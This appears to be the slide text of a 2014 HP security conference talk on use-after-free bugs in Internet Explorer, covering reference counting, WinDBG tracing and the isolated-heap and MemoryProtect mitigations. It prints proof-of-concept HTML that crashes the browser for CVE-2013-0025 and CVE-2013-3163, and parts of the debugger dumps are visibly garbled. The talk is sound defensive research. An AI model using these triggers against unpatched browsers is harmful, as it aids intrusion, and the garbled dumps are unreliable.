Analyzing and manipulating objects in web browsers

Elvis Collado, Security Researcher, DVLabs

#HPProtect
Agenda

• Introduction
• Overview
• Web browser history
• Analysis of HTML objects
• Vulnerability analysis
  – CVE-2013-0025
  – CVE-2013-3163
• Mitigations
• QA
Introduction

Who am I?

Elvis Collado

• Security Researcher for DVLabs
  – IPS Filter developer
  – 1st year Security Researcher
  – Fascinated by web browsers
  – Blackhat/Defcon Attendee for 2013/2014
Overview

What is this all about!?

**Web browsers**
Past vs. present
- New features over time
- Security improvements
- Issues today

**Overview of UAFs**
Analysis and trends
- Trends of UAFs
- Debugging proof of concepts
  - Shows the big picture

**Demonstration**
Tracking objects
- Monitor objects
  - Dive into reference counts
- Analyze vulnerable conditions
  - Root cause analysis
**Web browsers**

**Adding features since 1990**

- Features have been implemented over time
  - HTML first introduced in 1990
    - Was available on the NeXT machine
  - Javascript introduced in 1995
    - Developed by Brandan Eich
    - Originally named “LiveScript”
    - Object oriented scripting language
  - Microsoft ActiveX introduced in 1996
    - COM Objects which can be used within Internet Explorer
    - Ability to restrict usage within Internet Explorer
  - Microsoft Visual Basic Scripting introduced in 1996
    - Gave developers a new scripting language to use besides JavaScript
  - More and more have been implemented since then (e.g. WebGL, SVG, VML)

*Source: http://gizmodo.com/5983574/remember-the-hilarious-horror-of-geocities-with-this-website*
HTML Objects

Object Breakdown

```html
<input type="radio" name="element" value="Button" onclick="alert('onhandler Event Triggered')"> Button
```

| Element          | Attribute     | Attribute Value | Event Handler | Event | Inner(HTML|Text) |
|------------------|---------------|-----------------|---------------|-------|-------------|
| `<input`          | `type`        | "radio"         |               |       |             |
| `<input`          | `name`        | "element"       |               |       |             |
| `<input`          | `value`       | "Button"        |               |       |             |
| `<input`          | `onclick`     | "alert('onhandler Event Triggered')" |       |       |             |
HTML Objects

Instantiating objects in HTML vs Javascript

**HTML**

```
<input type="radio" name="element" value="Button" onclick="alert('onhandler Event Triggered')">Button
```

**JavaScript**

```javascript
var input_element = document.createElement('input');
input_element.name = "element";
input_element.value = "button";
input_element.addEventListener('click', function(){alert('onhandler Event Trigger')},false);
input_element.innerText = 'Button';
document.body.appendChild('input_element');
```
HTML objects

Reference count

• Method of tracking objects in memory for memory organization
• If count == 0 then that particular memory block is available to be freed
• Helps prevent the application from consuming too many resources
• Once an object is freed it’s memory address is thrown into a “FreeList”
• If an allocation is requested there’s already a free block for the sized asked then it’ll reallocate that space instead of querying the system API
HTML objects

Object reference count

Demo

• Follow Anchor Element
• Manipulate the Anchor Element and monitor the Reference Count
• Demonstrate what happens when the reference count == 0
• This should give a clear understanding as to what reference counting is used for.

WinDBG Breakpoint Macro

bp mshhtml!CAnchorElement::CreateElement+0x19 "r @$t0=@eax;ba w4 @$t0+04 ".echo;.printf \"-------Object Trace-------\";.echo;.printf \"->Ref count is %x\", poi(@$t0+04);.echo;kv 4;.echo;r eax;r esi;r edi;r ecx;.echo;u @eip l3;.printf \\"--\\n\";echo;echo;echo;g";g
HTML Objects

HTML `<input type="radio"> Button

JavaScript  var input_element = document.createElement('input');

IDA shows us the heap allocation code path for this particular element

[Truncated]
HTML objects

```javascript
document.createElement('SomeHTMLElement');
```

* Symbols make everything 100x easier

The list goes on
Vulnerability Analysis

CVE-2013-0025

Proof of Concept:

```html
<html>
<head>
<script>
setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
    CollectGarbage();
    setTimeout(function(){document.body.innerHTML = "innerHTML"}, 100)
}, 100)
</script>
</head>
<body>
<p>&#x0020;</p>
</body>
</html>
```
Vulnerability Analysis

CVE-2013-0025

Proof of Concept:

```html
<!doctype html>
<html>
<head>
<script>
setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
    CollectGarbage();
    setTimeout(function(){document.body.innerHTML = "innerHTML"},
    100)
}, 100)
</script>
</head>
<body>

<p>&#x0020;</p>
</body>
</html>
```

(CVE-2013-0025) Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling. This exception key is expected and handled.

eax=00000000 ebx=04769b88 ecx=014e2b28 edx=6727b66d esi=8444b778 edi=00000000
eip=00726b94 esp=0044ba4c ebp=005f3be4 esp=00726b94:

```
6727b694 8b490c
```

now eax.dword ptr [eax+0Ch] de:0023:00000000 c ????????
Vulnerability Analysis

CVE-2013-0025

CTreeNode [047607c0] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [047607c8] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [047607c0] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [047604f8] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [047604e8] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [047604d8] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [047604c8] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [047604b8] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [047604a8] Element 014c5b80 67135798 ht Elemental Element::'hitable'
CTreeNode [04760498] Element 014c5b80 67135798 ht Elemental Element::'hitable'

(V0.0.94): Access violation - code c0000005 [first chance]
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

0x102d0000 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d0011 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d001e ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798

0x102d0020 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d0025 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d0030 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798

0x102d0035 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d003a ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d003e ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798

0x102d0047 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d004b ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798

0x102d0055 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d0059 ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798
0x102d005d ebx=04760588 esp=014c5b80 ecx=572b68b4 esi=04c42b78 edi=00000000
srv=67135798 eip=67135798 ebp=67135798 esp=67135798

0.012> lheap -p -a @eox
address 014f2b0 found in
HEAP @ #14:0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
014f298 0000 0000 [30] 014f2a0 0000 [0] -free

0.012> v ashtml\CEElement::Doc
ashtml\CEElement::Doc
6727bd8d 8b01 xov eax dword ptr [es+0Ch]
6727bd91 8b7e70 xov edx dword ptr [es+98h]
6727bd95 754c ret
6727bd99 8b40c xov eax dword ptr [es+0Ch]
6727bd9f 8b40c xov eax dword ptr [es+0Ch]
6727bd95 8b40c xov eax dword ptr [es+0Ch]
6727bd9f 8b40c xov eax dword ptr [es+0Ch]
Vulnerability analysis

CVE-2013-0025

Demo

- CVE-2013-0025_1.html – Crash via “null pointer dereference”
  - Analysis on what is trying to call the previously freed allocation
- CVE-2013-0025_2.html – Instruction Pointer Control
- CVE-2013-0025_3.html – Code Execution
CVE-2013-3163
Vulnerability Analysis

CVE-2013-3163

Proof of Concept:

```html
<html>
<head>
<meta />
</head>
<script>
window.onload = function() { document.all[13].outerText = ""; }
</script>
<table>
<tr><td></td></tr>
</table>
</html>
```
Vulnerability Analysis

CVE-2013-3163

Proof of Concept:

```html
<html>
<head>
<meta>
</head>
<script>
window.onload = function() { document.all[13].outerText = ""; }
</script>
<table>
<div>
<span>
&q;
<a>
<td></td>
</a>
</q>
</div>
</table>
</html>
```

(CVE-2013-3163) Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00ca7353 ecx=00170e10 edx=6727b55d esi=84deee18 edi=98000000
ebp=6727b694 esp=01deeeac ebp=01ddeeac esp=01ddeeac
---
01d7e150: mov 001b 0023 ds=0023 ss=0023 fs=0030 gs=0000
efl=00002046
---
01d7e154: mov ebx, DWORD PTR [eax+0ch] ds=0023:00000000-???????
Vulnerability Analysis

CVE-2013-3163

(475 824): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be unexpected and handled.

eax=00000000 ebx=00499480 ecx=01383890 edx=08c2b65d esi=00400030 edi=00000000
esp=08c2b694 eip=084eee04 eflags=00010101 cs=0000 vs=0000 es=0029 ds=0000 gs=0000

eax=0041B4A8

(475 824): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be unexpected and handled.

eax=00000000 ebx=00499480 ecx=01383890 edx=08c2b65d esi=00400030 edi=00000000
esp=08c2b694 eip=084eee04 eflags=00010101 cs=0000 vs=0000 es=0029 ds=0000 gs=0000

eax=0041B4A8

(475 824): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be unexpected and handled.

eax=00000000 ebx=00499480 ecx=01383890 edx=08c2b65d esi=00400030 edi=00000000
esp=08c2b694 eip=084eee04 eflags=00010101 cs=0000 vs=0000 es=0029 ds=0000 gs=0000

eax=0041B4A8

(475 824): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be unexpected and handled.

eax=00000000 ebx=00499480 ecx=01383890 edx=08c2b65d esi=00400030 edi=00000000
esp=08c2b694 eip=084eee04 eflags=00010101 cs=0000 vs=0000 es=0029 ds=0000 gs=0000

eax=0041B4A8

(475 824): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be unexpected and handled.

eax=00000000 ebx=00499480 ecx=01383890 edx=08c2b65d esi=00400030 edi=00000000
esp=08c2b694 eip=084eee04 eflags=00010101 cs=0000 vs=0000 es=0029 ds=0000 gs=0000

eax=0041B4A8

(475 824): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be unexpected and handled.

eax=00000000 ebx=00499480 ecx=01383890 edx=08c2b65d esi=00400030 edi=00000000
esp=08c2b694 eip=084eee04 eflags=00010101 cs=0000 vs=0000 es=0029 ds=0000 gs=0000

eax=0041B4A8

(475 824): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be unexpected and handled.

eax=00000000 ebx=00499480 ecx=01383890 edx=08c2b65d esi=00400030 edi=00000000
esp=08c2b694 eip=084eee04 eflags=00010101 cs=0000 vs=0000 es=0029 ds=0000 gs=0000

eax=0041B4A8
Vulnerability Analysis
CVE-2013-3163

Object Creation

<table>
<thead>
<tr>
<th>Attributes: bp-based frame</th>
</tr>
</thead>
</table>

```
public: static long __stdcall CAnchorElement::CreateElementClass
arg_4= dword ptr [ebp]
arg_8= dword ptr [ebp+16]

; FUNCTION CARK AT 746F4D8A SIZE 00000000 BYTES
```
Vulnerability analysis

CVE-2013-3163

Demo

- CVE-2013-3163_1.html – Crash via “null pointer dereference”
  - Analysis on what is trying to call the previously freed allocation
- CVE-2013-3163_2.html – Instruction Pointer Control
- CVE-2013-3163_3.html – Code Execution
Mitigations
Mitigations against Use-After-Free

Isolated heap & memory protection

- Implemented via “Patch Tuesday” July 2014
- DOM objects no longer share heap allocation space with other objects
- Even if a reference count bug is triggered, overwriting that memory block is going to be tricky
- No longer calls system API HeapFree directly
Mitigations against Use-After-Free

Without IsolatedHeap [IE8.0.7601.17514]  

With IsolatedHeap [IE11.0.9600.17207]
Mitigations against Use-After-Free

Without MemoryProtect [IE8.0.7601.17514]  
With MemoryProtect [IE11.0.9600.17207]
Mitigations against Use-After-Free

MemoryProtect

[IE11.0.9600.17207]
Future of Use-After-Free vulnerabilities

Implementations on restrictions on reusing allocated free memory blocks
Indirectly calling system memory allocation APIs
Will it ever be mitigated?
For more information

Read these blog posts

• Efficacy of Memory Protection Against Use-After-Free

• Beginning of the end of use-after-free exploitation
  • http://researchcenter.paloaltonetworks.com/2014/07/beginning-end-use-free-exploitation/

Visit these demos

• TB3051 - Thinking outside the sandbox: Violating trust boundaries in uncommon ways
  • Brian Gorenc
  • Jasiel Spelman

• TB3165 - Credit cards for sale: Case studies of retail malware
  • Steve Povolny

After the event

• Contact your HP rep
• Visit the HP TippingPoint web site at www.hp.com/go/tippingpoint
• Visit the HP Security Research Blog
• Visit the HP Security Products Blog

Your feedback is important to us. Please take a few minutes to complete the session survey.
Please give me your feedback

Session TB3050  Speaker Elvis Collado

Please fill out a survey.

Hand it to the door monitor on your way out.

Thank you for providing your feedback, which helps us enhance content for future events.
Thank you